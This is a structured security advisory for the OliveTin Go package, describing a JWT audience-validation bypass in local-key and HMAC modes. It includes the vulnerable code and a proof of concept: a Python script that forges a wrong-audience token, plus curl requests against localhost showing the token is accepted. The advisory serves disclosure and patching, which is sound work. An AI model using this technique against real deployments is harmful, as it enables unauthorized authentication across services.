{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260304231339-e97d8ecbd8d6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30223"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-345"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T20:52:12Z",
    "nvd_published_at": "2026-03-06T21:16:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nWhen JWT authentication is configured using either:\n\n- `authJwtPubKeyPath` (local RSA public key), or\n- `authJwtHmacSecret` (HMAC secret),\n\nthe configured audience value (`authJwtAud`) is not enforced during token parsing.\nAs a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication.\nThis allows authentication using tokens intended for a different audience/service.\n\n### Details\n\n**Affected Code**\n\nFile: `jwt.go`\nLines: 51\u201359, 144\u2013157, 161\u2013168\n\n**Current Behavior**\n\nRemote JWKS Mode (Correct):\n```go\nreturn jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))\n```\nAudience validation is enforced.\n\nLocal Public Key Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\nHMAC Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\n**Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted.\n\n### PoC\n\n1. **Configure OliveTin**\n\n   Use a minimal config with JWT local key authentication:\n   ```yaml\n   authJwtPubKeyPath: ./public.pem\n   authJwtHeader: Authorization\n   authJwtClaimUsername: sub\n   authJwtAud: expected-audience\n\n   authRequireGuestsToLogin: true\n   ```\n\n2. **Generate a Wrong-Audience Token**\n   ```python\n   python3 - \u003c\u003cEOF\n   import jwt, datetime\n\n   with open(\"private.pem\") as f:\n       key = f.read()\n\n   token = jwt.encode(\n       {\n           \"sub\": \"low\",\n           \"aud\": \"wrong-audience\",   # intentionally wrong\n           \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)\n       },\n       key,\n       algorithm=\"RS256\"\n   )\n\n   print(token)\n   EOF\n   ```\n   This prints the `$WRONG_AUD_TOKEN`.\n\n3. **Test Without Token (Baseline)**\n   ```bash\n   curl -i -X POST http://localhost:1337/api/WhoAmI \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     -d \u0027{}\u0027\n   ```\n   Expected response:\n   ```\n   HTTP/1.1 401 Unauthorized\n   ```\n\n4. **Test With Wrong-Audience Token**\n   ```bash\n   curl -i -X POST http://localhost:1337/api/WhoAmI \\\n     -H \u0027Content-Type: application/json\u0027 \\\n     -H \"Authorization: Bearer $WRONG_AUD_TOKEN\" \\\n     -d \u0027{}\u0027\n   ```\n   Expected response:\n   ```\n   HTTP/1.1 200 OK\n   {\"authenticatedUser\":\"low\",\"provider\":\"jwt\",\"usergroup\":\"\",\"acls\":[],\"sid\":\"\"}\n   ```\n   Authentication succeeds even though the `aud` claim is incorrect.\n\n### Impact\n\nAn attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.\n\nThis enables:\n\n- Cross-service token reuse\n- Authentication using tokens issued for other systems\n- Trust boundary violation in multi-service environments\n\nThis is particularly severe when:\n\n- OliveTin is deployed behind a centralized SSO provider\n- The same signing key is reused across services\n- Audience restrictions are relied upon for service isolation\n\nThis does **not** bypass ACL authorization.\nIt is strictly an authentication validation flaw.",
  "id": "GHSA-g962-2j28-3cg9",
  "modified": "2026-03-06T22:52:10Z",
  "published": "2026-03-05T20:52:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-g962-2j28-3cg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30223"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/e97d8ecbd8d6ba468c418ca496fcd18f78131233"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes"
}